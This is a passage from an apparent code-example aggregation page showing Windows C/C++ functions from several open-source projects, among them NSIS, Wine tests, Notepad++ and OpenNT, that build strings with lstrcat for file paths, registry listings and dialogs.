				memset(ValueTemp,0,sizeof(ValueTemp));
				KnSize = sizeof(KeyName);
                szSize = sizeof(ValueSz);
                if(RegEnumValue(hKey,dwIndex++,KeyName,&KnSize,NULL,&Type,(LPBYTE)ValueSz,&szSize) != ERROR_SUCCESS)
					break;
				switch(Type)				 				
				{				     
				case REG_SZ:					 						 
					wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_SZ",ValueSz);					     
					break;
				case REG_EXPAND_SZ:                   						 
					wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_EXPAND_SZ",ValueSz);
					break;
				case REG_DWORD:
					wsprintf(ValueTemp,"%-24s %-15s 0x%x(%d) \r\n",KeyName,"REG_DWORD",ValueSz,int(ValueSz));
					break;
				case REG_MULTI_SZ:
                    wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName,"REG_MULTI_SZ");
					break;
			    case REG_BINARY:
					wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName,"REG_BINARY");
					break;
				}
				lstrcat(szData,ValueTemp);
				iResult =1;
			}
			break;
		case 3:
            iResult =1;
			break;
		}
	}
	__finally
	{
        RegCloseKey(MainKey);
		RegCloseKey(hKey);
	}
     
	return iResult;
}
コード例 #22
0
ファイル: splash.c プロジェクト: engineer0x47/NSIS
void __declspec(dllexport) show(HWND hwndParent, int string_size, TCHAR *variables, stack_t **stacktop)
{
  TCHAR fn[MAX_PATH];
  TCHAR temp[64];
  TCHAR *sleep=temp;

 
  EXDLL_INIT();

  popstring(sleep);
  popstring(fn);

  sleep_val=0;
  while (*sleep >= _T('0') && *sleep <= _T('9'))
  {
    sleep_val*=10;
    sleep_val+=*sleep++-_T('0');
  }

  if (fn[0] && sleep_val>0)
  {
    MSG msg;
    TCHAR classname[4]=_T("_sp");
    static WNDCLASS wc;
    wc.lpfnWndProc = WndProc;
    wc.hInstance = g_hInstance;
    wc.hCursor = LoadCursor(NULL,IDC_ARROW);
    wc.lpszClassName = classname;
    if (RegisterClass(&wc)) 
    {
      TCHAR fn2[MAX_PATH];
      lstrcpy(fn2,fn);
      lstrcat(fn,_T(".bmp"));
      lstrcat(fn2,_T(".wav"));
      g_hbm=LoadImage(NULL,fn,IMAGE_BITMAP,0,0,LR_CREATEDIBSECTION|LR_LOADFROMFILE);
      if (g_hbm) 
      {
        HWND myWnd;

        PlaySound(fn2,NULL,SND_ASYNC|SND_FILENAME|SND_NODEFAULT);

        myWnd = CreateWindowEx(WS_EX_TOOLWINDOW,classname,classname,
          0,0,0,0,0,(HWND)hwndParent,NULL,g_hInstance,NULL);

        while (IsWindow(myWnd) && GetMessage(&msg,myWnd,0,0))
        {
          DispatchMessage(&msg);
        }

        // Stop currently playing wave, we want to exit
        PlaySound(0,0,0);

        DeleteObject(g_hbm);

        UnregisterClass(classname, g_hInstance);

      }
    }
  }
  wsprintf(temp,_T("%d"),g_rv);
  pushstring(temp);
}
コード例 #23
0
ファイル: advpack.c プロジェクト: WASSUM/longene_travel
static void delnode_test(void)
{
    HRESULT hr;
    HANDLE hn;
    CHAR currDir[MAX_PATH];
    int currDirLen;

    /* Native DelNode apparently does not support relative paths, so we use
       absolute paths for testing */
    currDirLen = GetCurrentDirectoryA(sizeof(currDir) / sizeof(CHAR), currDir);
    assert(currDirLen > 0 && currDirLen < sizeof(currDir) / sizeof(CHAR));

    if(currDir[currDirLen - 1] == '\\')
        currDir[--currDirLen] = 0;

    /* Simple tests; these should fail. */
    hr = pDelNode(NULL, 0);
    ok (hr == E_FAIL, "DelNode called with NULL pathname should return E_FAIL\n");
    hr = pDelNode("", 0);
    ok (hr == E_FAIL, "DelNode called with empty pathname should return E_FAIL\n");

    /* Test deletion of a file. */
    hn = CreateFile("DelNodeTestFile1", GENERIC_WRITE, 0, NULL,
        CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    assert(hn != INVALID_HANDLE_VALUE);
    CloseHandle(hn);
    hr = pDelNode(lstrcat(currDir, "\\DelNodeTestFile1"), 0);
    ok (hr == S_OK, "DelNode failed deleting a single file\n");
    currDir[currDirLen] = '\0';

    /* Test deletion of an empty directory. */
    CreateDirectoryA("DelNodeTestDir", NULL);
    hr = pDelNode(lstrcat(currDir, "\\DelNodeTestDir"), 0);
    ok (hr == S_OK, "DelNode failed deleting an empty directory\n");
    currDir[currDirLen] = '\0';

    /* Test deletion of a directory containing one file. */
    CreateDirectoryA("DelNodeTestDir", NULL);
    hn = CreateFile("DelNodeTestDir\\DelNodeTestFile1", GENERIC_WRITE, 0, NULL,
        CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    assert(hn != INVALID_HANDLE_VALUE);
    CloseHandle(hn);
    hr = pDelNode(lstrcat(currDir, "\\DelNodeTestDir"), 0);
    ok (hr == S_OK, "DelNode failed deleting a directory containing one file\n");
    currDir[currDirLen] = '\0';

    /* Test deletion of a directory containing multiple files. */
    CreateDirectoryA("DelNodeTestDir", NULL);
    hn = CreateFile("DelNodeTestDir\\DelNodeTestFile1", GENERIC_WRITE, 0, NULL,
        CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    assert(hn != INVALID_HANDLE_VALUE);
    CloseHandle(hn);
    hn = CreateFile("DelNodeTestDir\\DelNodeTestFile2", GENERIC_WRITE, 0, NULL,
        CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    assert(hn != INVALID_HANDLE_VALUE);
    CloseHandle(hn);
    hn = CreateFile("DelNodeTestDir\\DelNodeTestFile3", GENERIC_WRITE, 0, NULL,
        CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    assert(hn != INVALID_HANDLE_VALUE);
    CloseHandle(hn);
    hr = pDelNode(lstrcat(currDir, "\\DelNodeTestDir"), 0);
    ok (hr == S_OK, "DelNode failed deleting a directory containing multiple files\n");
    currDir[currDirLen] = '\0';
}
コード例 #24
0
VOID OnInitDialog(HWND hDlg)
{
    HICON hIcon;
    hIcon = LoadIcon(hInst, MAKEINTRESOURCE(1));
    SendMessage(hDlg, WM_SETICON, ICON_BIG, (LPARAM)hIcon);
    hIcon = (HICON)LoadImage(hInst, MAKEINTRESOURCE(1), IMAGE_ICON,
        GetSystemMetrics(SM_CXSMICON), GetSystemMetrics(SM_CYSMICON), 0);
    SendMessage(hDlg, WM_SETICON, ICON_SMALL, (LPARAM)hIcon);

    HWND hCombo = GetDlgItem(hDlg, ID_COMBO);

    TCHAR szPath[MAX_PATH], szPath2[MAX_PATH], szDir[MAX_PATH];
    GetModuleFileName(NULL, szPath, MAX_PATH);
    LPTSTR pch = _tcsrchr(szPath, _T('\\'));
    *pch = _T('\0');
    lstrcpy(szDir, szPath);
    *pch = _T('\\');
    lstrcpy(pch, TEXT("\\*_scr"));

    WIN32_FIND_DATA find;
    HANDLE hFind = FindFirstFile(szPath, &find);
    if (hFind != INVALID_HANDLE_VALUE)
    {
        do
        {
            lstrcpy(szPath2, szDir);
            lstrcat(szPath2, TEXT("\\"));
            lstrcat(szPath2, find.cFileName);
            lstrcat(szPath2, TEXT("\\*.scr"));

            WIN32_FIND_DATA find2;
            HANDLE hFind2 = FindFirstFile(szPath2, &find2);
            if (hFind2 != INVALID_HANDLE_VALUE)
            {
                COMBOBOXEXITEM item;
                item.mask = CBEIF_TEXT;
                item.iItem = -1;
                item.pszText = find2.cFileName;
                SendMessage(hCombo, CBEM_INSERTITEM, 0, (LPARAM)&item);
                FindClose(hFind2);
            }
        } while (FindNextFile(hFind, &find));
        FindClose(hFind);
    }

    INT nCount = (INT)SendMessage(hCombo, CB_GETCOUNT, 0, 0);
    if (nCount == 0)
    {
        EnableWindow(hCombo, FALSE);
        EnableWindow(GetDlgItem(hDlg, ID_INSTALL), FALSE);
        EnableWindow(GetDlgItem(hDlg, ID_CONFIGURE), FALSE);
        EnableWindow(GetDlgItem(hDlg, ID_TEST), FALSE);
    }
    else
    {
        INT i = 0;
        LPTSTR name = get_registered_screen_saver();
        if (name)
        {
            TCHAR szName[MAX_PATH];
            for (i = 0; i < nCount; i++)
            {
                SendMessage(hCombo, CB_GETLBTEXT, i, (LPARAM)szName);
                if (lstrcmpi(szName, name) == 0)
                    break;
            }
            if (i == nCount)
                i = 0;
        }
        SendMessage(hCombo, CB_SETCURSEL, i, 0);
        OnTestOnWindow(hDlg);
    }

    CenterDialog(hDlg);
}
コード例 #25
0
//************************************************************************
void CBelongsScene::PlayBelongsTo(BOOL fNameOnly)
//************************************************************************
{
	STRING szName;
	FNAME szNameWave;
	FNAME szFileName;
	BOOL fGotName = FALSE;

	GetDlgItemText(m_hWnd, IDC_EDIT, szName, sizeof(szName));
	StripLeadingSpaces(szName);
	if (!lstrlen(szName))
		return;

	// See if the name is in the table (for names longer than 8)
	STRING szTheName;
	int len = lstrlen(szName);
	for (int n = 0; n <= len; ++n)
	{
		if (isspace(szName[n]))
			szTheName[n] = '-';
		else
			szTheName[n] = szName[n];
	}

	for (int i = 0; i < m_nNames; ++i)
	{
		if (!lstrcmpi(m_pNames[i].m_szName, szTheName))
		{ // found it, now play the wav
			GetPathName(szNameWave, m_pNames[i].m_szFileName);
			fGotName = FileExistsExpand(szNameWave, NULL);
			break;
		}
	}

	// See if file for this name exists
	// in normal content directory
	if (!fGotName)
	{
		GetPathName(szNameWave, szName);
		lstrcat(szNameWave, ".wav");
		fGotName = FileExistsExpand(szNameWave, NULL);
	}
			
	// Try the windows directory for a custom name
	if (!fGotName)
	{
		GetWindowsDirectory(szNameWave, sizeof(szNameWave));
		FixPath(szNameWave);
		lstrcat(szNameWave, szName);
		lstrcat(szNameWave, ".wav");
		fGotName = FileExistsExpand(szNameWave, NULL);
	}

	if (fNameOnly && !fGotName)
		return;

	if (m_hSound)
	{
		MCIStop(m_hSound,YES);
		MCIClose(m_hSound);
		m_hSound = NULL;
	}

	if (!fNameOnly)
	{
		GetPathName(szFileName, BELONGS_TO_WAVE);
		if ( m_hSound = MCIOpen(GetApp()->m_hDeviceWAV, szFileName, NULL) )
		{
			MCIPlay(m_hSound, NULL);
			MCIClose(m_hSound);
			m_hSound = NULL;
		}
	}

	if (fGotName)
	{	// If we have a name play it
		if ( m_hSound = MCIOpen(GetApp()->m_hDeviceWAV, szNameWave, NULL) )
		{
			MCIPlay(m_hSound, NULL);
			MCIClose(m_hSound);
			m_hSound = NULL;
		}
	}
	else
	{	// Otherwise, play it letter by letter
		STRING szName;
		GetDlgItemText(m_hWnd, IDC_EDIT, szName, sizeof(szName));
		StripLeadingSpaces(szName);

		STRING szLetter;
		FNAME szFileName;
		BOOL fExists = FALSE;
		int i = 0;
		char c;
		while ( c = szName[i++] )
		{
			szLetter[0] = c;
			szLetter[1] = '\0';
			lstrcat(szLetter, ".wav");
			GetPathName(szFileName, szLetter);
			if ( !FileExistsExpand(szFileName, NULL) )
				continue;
			if ( m_hSound = MCIOpen(GetApp()->m_hDeviceWAV, szFileName, NULL) )
			{
				MCIPlay(m_hSound, NULL);
				MCIClose(m_hSound);
				m_hSound = NULL;
			}
		}
	}
}
コード例 #26
0
ファイル: rundlg.c プロジェクト: mingpen/OpenNT
STDMETHODIMP CRunDropTarget_Drop(LPDROPTARGET pdtgt, LPDATAOBJECT pdtobj,
                             DWORD grfKeyState, POINTL pt, LPDWORD pdwEffect)
{
    LPRUNDLG_DATA this = IToClass(RUNDLG_DATA, _dtgt, pdtgt);
    TCHAR szPath[MAX_PATH + 2];
    LPTSTR lpszPath = szPath + 1;
    TCHAR szText[1024];
    FORMATETC fmte = {CF_HDROP, NULL, DVASPECT_CONTENT, -1, TYMED_HGLOBAL};
    STGMEDIUM medium;

    DAD_DragLeave();

    szPath[0] = TEXT('"');
    lpszPath[0] = 0;
    *pdwEffect = 0;

    if (SUCCEEDED(pdtobj->lpVtbl->GetData(pdtobj, &fmte, &medium)))
    {
        DragQueryFile(medium.hGlobal, 0, lpszPath, ARRAYSIZE(szPath) -1);

        SHReleaseStgMedium(&medium);
    }

    if (lpszPath[0] == 0)
    {
#ifdef UNICODE
        fmte.cfFormat = CF_UNICODETEXT;

        if (SUCCEEDED(pdtobj->lpVtbl->GetData(pdtobj, &fmte, &medium)))
        {
            lstrcpyn(lpszPath, GlobalLock(medium.hGlobal), ARRAYSIZE(szPath) -1);
            GlobalUnlock(medium.hGlobal);

            SHReleaseStgMedium(&medium);
        }
        else
#endif
        {
            fmte.cfFormat = CF_TEXT;

            if (SUCCEEDED(pdtobj->lpVtbl->GetData(pdtobj, &fmte, &medium)))
            {
#ifdef UNICODE
                MultiByteToWideChar( CP_ACP, 0, GlobalLock(medium.hGlobal), -1, lpszPath, ARRAYSIZE(szPath) -1 );
#else
                lstrcpyn(lpszPath, GlobalLock(medium.hGlobal), ARRAYSIZE(szPath) -1);
#endif
                GlobalUnlock(medium.hGlobal);

                SHReleaseStgMedium(&medium);
            }
        }
    }

    if (lpszPath[0])
    {
        GetDlgItemText(this->hDlg, IDD_COMMAND, szText, ARRAYSIZE(szText) - (ARRAYSIZE(szPath) - 1));
        if (StrChr(lpszPath, TEXT(' '))) {
            // there's a space in the file... add qutoes
            lpszPath--;
            lstrcat(lpszPath, c_szQuote);
        }

        if (szText[0])
            lstrcat(szText, c_szSpace);
        lstrcat(szText, lpszPath);

        SetDlgItemText(this->hDlg, IDD_COMMAND, szText);

        EnableOKButton(this->hDlg, szText);

        *pdwEffect = DROPEFFECT_COPY;
    }

    return NOERROR;
}
コード例 #27
0
ファイル: winmain.cpp プロジェクト: A-R-C-A/notepad-plus-plus
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE, LPSTR, int)
{
	LPTSTR cmdLine = ::GetCommandLine();
	ParamVector params;
	parseCommandLine(cmdLine, params);

	MiniDumper mdump;	//for debugging purposes.

	bool TheFirstOne = true;
	::SetLastError(NO_ERROR);
	::CreateMutex(NULL, false, TEXT("nppInstance"));
	if (::GetLastError() == ERROR_ALREADY_EXISTS)
		TheFirstOne = false;

	bool isParamePresent;
	bool showHelp = isInList(FLAG_HELP, params);
	bool isMultiInst = isInList(FLAG_MULTI_INSTANCE, params);

	CmdLineParams cmdLineParams;
	cmdLineParams._isNoTab = isInList(FLAG_NOTABBAR, params);
	cmdLineParams._isNoPlugin = isInList(FLAG_NO_PLUGIN, params);
	cmdLineParams._isReadOnly = isInList(FLAG_READONLY, params);
	cmdLineParams._isNoSession = isInList(FLAG_NOSESSION, params);
	cmdLineParams._isPreLaunch = isInList(FLAG_SYSTRAY, params);
	cmdLineParams._alwaysOnTop = isInList(FLAG_ALWAYS_ON_TOP, params);
	cmdLineParams._showLoadingTime = isInList(FLAG_LOADINGTIME, params);
	cmdLineParams._isSessionFile = isInList(FLAG_OPENSESSIONFILE, params);
	cmdLineParams._isRecursive = isInList(FLAG_RECURSIVE, params);
	cmdLineParams._langType = getLangTypeFromParam(params);
	cmdLineParams._localizationPath = getLocalizationPathFromParam(params);
	cmdLineParams._line2go = getNumberFromParam('n', params, isParamePresent);
    cmdLineParams._column2go = getNumberFromParam('c', params, isParamePresent);
    cmdLineParams._pos2go = getNumberFromParam('p', params, isParamePresent);
	cmdLineParams._point.x = getNumberFromParam('x', params, cmdLineParams._isPointXValid);
	cmdLineParams._point.y = getNumberFromParam('y', params, cmdLineParams._isPointYValid);
	cmdLineParams._easterEggName = getEasterEggNameFromParam(params, cmdLineParams._quoteType);


	if (showHelp)
		::MessageBox(NULL, COMMAND_ARG_HELP, TEXT("Notepad++ Command Argument Help"), MB_OK);

	NppParameters *pNppParameters = NppParameters::getInstance();

	if (cmdLineParams._localizationPath != TEXT(""))
	{
		pNppParameters->setStartWithLocFileName(cmdLineParams._localizationPath);
	}
	pNppParameters->load();

	// override the settings if notepad style is present
	if (pNppParameters->asNotepadStyle())
	{
		isMultiInst = true;
		cmdLineParams._isNoTab = true;
		cmdLineParams._isNoSession = true;
	}

	// override the settings if multiInst is choosen by user in the preference dialog
	const NppGUI & nppGUI = pNppParameters->getNppGUI();
	if (nppGUI._multiInstSetting == multiInst)
	{
		isMultiInst = true;
		// Only the first launch remembers the session
		if (!TheFirstOne)
			cmdLineParams._isNoSession = true;
	}

	generic_string quotFileName = TEXT("");
    // tell the running instance the FULL path to the new files to load
	size_t nrFilesToOpen = params.size();

	for (size_t i = 0; i < nrFilesToOpen; ++i)
	{
		const TCHAR * currentFile = params.at(i);
		if (currentFile[0])
		{
			//check if relative or full path. Relative paths dont have a colon for driveletter

			quotFileName += TEXT("\"");
			quotFileName += relativeFilePathToFullFilePath(currentFile);
			quotFileName += TEXT("\" ");
		}
	}

	//Only after loading all the file paths set the working directory
	::SetCurrentDirectory(NppParameters::getInstance()->getNppPath().c_str());	//force working directory to path of module, preventing lock

	if ((!isMultiInst) && (!TheFirstOne))
	{
		HWND hNotepad_plus = ::FindWindow(Notepad_plus_Window::getClassName(), NULL);
		for (int i = 0 ;!hNotepad_plus && i < 5 ; ++i)
		{
			Sleep(100);
			hNotepad_plus = ::FindWindow(Notepad_plus_Window::getClassName(), NULL);
		}

        if (hNotepad_plus)
        {
		// First of all, destroy static object NppParameters
		pNppParameters->destroyInstance();
		MainFileManager->destroyInstance();

		int sw = 0;

		if (::IsZoomed(hNotepad_plus))
			sw = SW_MAXIMIZE;
		else if (::IsIconic(hNotepad_plus))
			sw = SW_RESTORE;

/* REMOVED
		else
			sw = SW_SHOW;

		// IMPORTANT !!!
		::ShowWindow(hNotepad_plus, sw);
DEVOMER*/
/* ADDED */
		if (sw != 0)
			::ShowWindow(hNotepad_plus, sw);
/* DEDDA */
		::SetForegroundWindow(hNotepad_plus);

		if (params.size() > 0)	//if there are files to open, use the WM_COPYDATA system
		{
			COPYDATASTRUCT paramData;
			paramData.dwData = COPYDATA_PARAMS;
			paramData.lpData = &cmdLineParams;
			paramData.cbData = sizeof(cmdLineParams);

			COPYDATASTRUCT fileNamesData;
			fileNamesData.dwData = COPYDATA_FILENAMES;
			fileNamesData.lpData = (void *)quotFileName.c_str();
			fileNamesData.cbData = long(quotFileName.length() + 1)*(sizeof(TCHAR));

			::SendMessage(hNotepad_plus, WM_COPYDATA, reinterpret_cast<WPARAM>(hInstance), reinterpret_cast<LPARAM>(&paramData));
			::SendMessage(hNotepad_plus, WM_COPYDATA, reinterpret_cast<WPARAM>(hInstance), reinterpret_cast<LPARAM>(&fileNamesData));
		}
		return 0;
        }
	}

	Notepad_plus_Window notepad_plus_plus;

	NppGUI & nppGui = const_cast<NppGUI &>(pNppParameters->getNppGUI());

	generic_string updaterDir = pNppParameters->getNppPath();
	updaterDir += TEXT("\\updater\\");

	generic_string updaterFullPath = updaterDir + TEXT("gup.exe");

	generic_string updaterParams = TEXT("-v");
	updaterParams += VERSION_VALUE;

	bool isUpExist = nppGui._doesExistUpdater = (::PathFileExists(updaterFullPath.c_str()) == TRUE);

    bool doUpdate = nppGui._autoUpdateOpt._doAutoUpdate;

    if (doUpdate) // check more detail
    {
        Date today(0);

        if (today < nppGui._autoUpdateOpt._nextUpdateDate)
            doUpdate = false;
    }

	// wingup doesn't work with the obsolet security layer (API) under xp since downloadings are secured with SSL on notepad_plus_plus.org
	winVer ver = pNppParameters->getWinVersion();
	bool isGtXP = ver > WV_XP;
	if (TheFirstOne && isUpExist && doUpdate && isGtXP)
	{
		if (pNppParameters->isx64())
		{
			updaterParams += TEXT(" -px64");
		}
		Process updater(updaterFullPath.c_str(), updaterParams.c_str(), updaterDir.c_str());
		updater.run();

        // Update next update date
        if (nppGui._autoUpdateOpt._intervalDays < 0) // Make sure interval days value is positive
            nppGui._autoUpdateOpt._intervalDays = 0 - nppGui._autoUpdateOpt._intervalDays;
        nppGui._autoUpdateOpt._nextUpdateDate = Date(nppGui._autoUpdateOpt._intervalDays);
	}

	MSG msg;
	msg.wParam = 0;
	Win32Exception::installHandler();
	try
	{
		notepad_plus_plus.init(hInstance, NULL, quotFileName.c_str(), &cmdLineParams);

		// Tell UAC that lower integrity processes are allowed to send WM_COPYDATA messages to this process (or window)
		// This allows opening new files to already opened elevated Notepad++ process via explorer context menu.
		if (ver >= WV_VISTA || ver == WV_UNKNOWN)
		{
			HMODULE hDll = GetModuleHandle(TEXT("user32.dll"));
			if (hDll)
			{
				// According to MSDN ChangeWindowMessageFilter may not be supported in future versions of Windows,
				// that is why we use ChangeWindowMessageFilterEx if it is available (windows version >= Win7).
				if (pNppParameters->getWinVersion() == WV_VISTA)
				{
					typedef BOOL (WINAPI *MESSAGEFILTERFUNC)(UINT message,DWORD dwFlag);
					const DWORD MSGFLT_ADD = 1;

					MESSAGEFILTERFUNC func = (MESSAGEFILTERFUNC)::GetProcAddress( hDll, "ChangeWindowMessageFilter" );

					if (func)
						func(WM_COPYDATA, MSGFLT_ADD);
				}
				else
				{
					typedef BOOL (WINAPI *MESSAGEFILTERFUNCEX)(HWND hWnd,UINT message,DWORD action,VOID* pChangeFilterStruct);
					const DWORD MSGFLT_ALLOW = 1;

					MESSAGEFILTERFUNCEX func = (MESSAGEFILTERFUNCEX)::GetProcAddress( hDll, "ChangeWindowMessageFilterEx" );

					if (func)
						func(notepad_plus_plus.getHSelf(), WM_COPYDATA, MSGFLT_ALLOW, NULL );
				}
			}
		}

		bool going = true;
		while (going)
		{
			going = ::GetMessageW(&msg, NULL, 0, 0) != 0;
			if (going)
			{
				// if the message doesn't belong to the notepad_plus_plus's dialog
				if (!notepad_plus_plus.isDlgsMsg(&msg))
				{
					if (::TranslateAccelerator(notepad_plus_plus.getHSelf(), notepad_plus_plus.getAccTable(), &msg) == 0)
					{
						::TranslateMessage(&msg);
						::DispatchMessageW(&msg);
					}
				}
			}
		}
	}
	catch (int i)
	{
		TCHAR str[50] = TEXT("God Damned Exception : ");
		TCHAR code[10];
		wsprintf(code, TEXT("%d"), i);
		::MessageBox(Notepad_plus_Window::gNppHWND, lstrcat(str, code), TEXT("Int Exception"), MB_OK);
		doException(notepad_plus_plus);
	}
	catch (std::runtime_error & ex)
	{
		::MessageBoxA(Notepad_plus_Window::gNppHWND, ex.what(), "Runtime Exception", MB_OK);
		doException(notepad_plus_plus);
	}
	catch (const Win32Exception & ex)
	{
		TCHAR message[1024];	//TODO: sane number
		wsprintf(message, TEXT("An exception occured. Notepad++ cannot recover and must be shut down.\r\nThe exception details are as follows:\r\n")
			TEXT("Code:\t0x%08X\r\nType:\t%S\r\nException address: 0x%08X"), ex.code(), ex.what(), reinterpret_cast<long>(ex.where()));
		::MessageBox(Notepad_plus_Window::gNppHWND, message, TEXT("Win32Exception"), MB_OK | MB_ICONERROR);
		mdump.writeDump(ex.info());
		doException(notepad_plus_plus);
	}
	catch (std::exception & ex)
	{
		::MessageBoxA(Notepad_plus_Window::gNppHWND, ex.what(), "General Exception", MB_OK);
		doException(notepad_plus_plus);
	}
	catch (...) // this shouldnt ever have to happen
	{
		::MessageBoxA(Notepad_plus_Window::gNppHWND, "An exception that we did not yet found its name is just caught", "Unknown Exception", MB_OK);
		doException(notepad_plus_plus);
	}

	return static_cast<int>(msg.wParam);
}
コード例 #28
0
/*
	FileSave -- saves hotspot into file.  Uses GetSaveFileName to prompt
		user for filename if the MOVIEINFO doesn't have a filename, or
		if bGetFileName is set.
*/
BOOL FileSave(HWND hWnd, BOOL bGetFileName)
{
	int hotcount;
	HFILE hFile;
    PHOTSPOT pHotspot;
    static OPENFILENAME ofn;
    static OFSTRUCT of;
    char szFileTitle[MAXFILENAME] = "";
    char szFileName[MAXFILENAME] = "";
    char szFilterSpec [128] =                       /* file type filters */
             "Hotspot Files (*.HOT)\0*.HOT\0All Files (*.*)\0*.*\0";
    BOOL bGet = TRUE;

    if (pMovieInfo->szIniFileName)
        {
        if (lstrlen(pMovieInfo->szIniFileName))            
            {
            bGet = FALSE;            
            lstrcpy(szFileName, pMovieInfo->szIniFileName);
            }
        }
        
    if (bGetFileName)
        bGet = TRUE;
    if (bGet)
        {
        ofn.lStructSize       = sizeof(OPENFILENAME);
        ofn.hwndOwner     = hWnd;
        ofn.lpstrFilter   = szFilterSpec;
        ofn.lpstrCustomFilter = NULL;
        ofn.nMaxCustFilter    = 0;
        ofn.nFilterIndex      = 1;
        ofn.lpstrFile         = pMovieInfo->szIniFileName;
        ofn.nMaxFile          = MAXFILENAME;
        ofn.lpstrInitialDir   = NULL;
        ofn.lpstrFileTitle    = szFileTitle;
        ofn.nMaxFileTitle     = MAXFILENAME;
        ofn.lpstrTitle        = NULL;
        ofn.lpstrDefExt       = "HOT";
        ofn.Flags             = OFN_OVERWRITEPROMPT;
    
        if (!GetSaveFileName ((LPOPENFILENAME)&ofn))
            {
            DWORD dw;
            dw = CommDlgExtendedError();
            }
        }    
    hotcount = 0;
    pHotspot = pMovieInfo->pHotspotList;
    while (pHotspot)	// we'll save a hotspot count in the file to
    					// make life easy for the load routine.
        {
        hotcount++;
        pHotspot = pHotspot->pNext;
        }

    pHotspot = pMovieInfo->pHotspotList;
    
    if (bGet)
        {
        lstrcpy(pMovieInfo->szIniFileName, ofn.lpstrFile);
        lstrcpy(szFileName, ofn.lpstrFile);
        }

    hFile = _lcreat(szFileName,0);
    if (!hFile == HFILE_ERROR)
    {
    	MessageBox(GetFocus(),szFileName,"Can't write this file:",MB_OK);
    }
    
	_lwrite(hFile,"HH",2);
	_lwrite(hFile,&hotcount,sizeof(hotcount));
        
    while (pHotspot)
    {
        int x;
        	
        _lwrite(hFile,&pHotspot->rc.left,sizeof(pHotspot->rc.left));
        _lwrite(hFile,&pHotspot->rc.top,sizeof(pHotspot->rc.top));
        _lwrite(hFile,&pHotspot->rc.right,sizeof(pHotspot->rc.right));
        _lwrite(hFile,&pHotspot->rc.bottom,sizeof(pHotspot->rc.bottom));
        
    	x = pHotspot->pszHotspotID ? lstrlen(pHotspot->pszHotspotID) : 0;
    	_lwrite(hFile,&x,sizeof(x));
    	if (x && pHotspot->pszHotspotID) _lwrite(hFile,pHotspot->pszHotspotID,x);
        
		x = pHotspot->pszCommand ? lstrlen(pHotspot->pszCommand) : 0;
    	_lwrite(hFile,&x,sizeof(x));
    	if (x && pHotspot->pszCommand) _lwrite(hFile,pHotspot->pszCommand,x);

        _lwrite(hFile,&pHotspot->BeginFrame,sizeof(pHotspot->BeginFrame));
        _lwrite(hFile,&pHotspot->EndFrame,sizeof(pHotspot->EndFrame));
        _lwrite(hFile,&pHotspot->OnClick,sizeof(pHotspot->OnClick));
        _lwrite(hFile,&pHotspot->ToFrame,sizeof(pHotspot->ToFrame));
        pHotspot = pHotspot->pNext;            
    }
	_lclose(hFile);
    bModified = FALSE;           
    
    lstrcpy(szWindowTitle, szBaseWindowTitle);
    lstrcat(szWindowTitle, " - ");
    lstrcat(szWindowTitle, szFileTitle);
    SetWindowText(hWnd, szWindowTitle);
    
    return TRUE;
}                
コード例 #29
0
ファイル: scan.c プロジェクト: mingpen/OpenNT
/* read all entries in a directory, and create a sorted list of files
 * in that directory, and a sorted list of subdirs.
 *
 * for each file found, call ss_process_file to checksum and report on
 * the file.
 * for each subdir, report the name of the new dir and then
 * recursively call this function to scan it.
 *
 * We have two names for the dir- the absolute name (which we use to
 * scan it) and the name relative to the pRoot starting point - which
 * pass on to the client
 *
 * return TRUE if all ok, or FALSE if the connection has been lost
 */
BOOL
ss_processdir(  HANDLE hpipe,
                long lVersion,
                LPSTR pAbsName,         /* absolute name of dir (to open) */
                LPSTR pRelName,         /* relative name of dir (to report) */
                BOOL bChecksum,         /* TRUE iff checksums are wanted */
                BOOL fDeep              /* TRUE iff subdirs to be included */
                )
{
        PFNAMELIST pfiles = NULL;
        PFNAMELIST pdirs = NULL;
        PFNAMELIST pnext;
        HANDLE hFind;
        WIN32_FIND_DATA finddata;
        BOOL bMore;
        char szNewAbs[MAX_PATH], szNewRel[MAX_PATH];
        HANDLE hFile;

        /* initiate a search of the directory - append
         * *.* to the directory name
         */
        lstrcpy(szNewAbs, pAbsName);
        lstrcat(szNewAbs, "\\*.*");

        hFind = FindFirstFile(szNewAbs, &finddata);

        if (hFind == INVALID_HANDLE_VALUE) {
                bMore = FALSE;
        } else {
                bMore = TRUE;
        }

        /* loop reading all entries in the directory */
        while (bMore) {

                /* was it a directory or a file ? */
                if (finddata.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {

                        /* ignore . and .. */
                        if ((strcmp(finddata.cFileName, ".") != 0)  &&
                           (strcmp(finddata.cFileName, "..") != 0)) {

                                /* insert in sorted list of dir names */
                                pdirs = ss_addtolist(pdirs, finddata.cFileName);
                        }

                } else {
                        /* insert in sorted list of file names */
                        pfiles = ss_addtolist(pfiles, finddata.cFileName);
                }

                /* get next entry in directory if there are any */
                bMore = FindNextFile(hFind, &finddata);
        }
        FindClose(hFind);

        /* we have now built the sorted lists.
         * go through the file list first and process each entry */
        for (pnext = pfiles; pnext != NULL; ) {

                /* build a new abs and relative name for this file */
                lstrcpy(szNewAbs, pAbsName);
                lstrcat(szNewAbs, "\\");
                lstrcat(szNewAbs, pnext->szFile);

                lstrcpy(szNewRel, pRelName);
                lstrcat(szNewRel, "\\");
                lstrcat(szNewRel, pnext->szFile);

                /* checksum the file and send response */
                if (!ss_processfile(hpipe, lVersion, szNewAbs, szNewRel, bChecksum)) {
                        return(FALSE);
                }

                /* free up the list entry */
                pfiles = pnext->next;
                LocalUnlock(LocalHandle( (PSTR) pnext));
                LocalFree(LocalHandle( (PSTR) pnext));
                pnext = pfiles;
        }
        if (!fDeep) return TRUE;

        /* loop through the subdirs and recursively scan those */
        for (pnext = pdirs; pnext != NULL; ) {

                /* build a new abs and relative name for this dir */
                lstrcpy(szNewAbs, pAbsName);
                lstrcat(szNewAbs, "\\");
                lstrcat(szNewAbs, pnext->szFile);

                lstrcpy(szNewRel, pRelName);
                lstrcat(szNewRel, "\\");
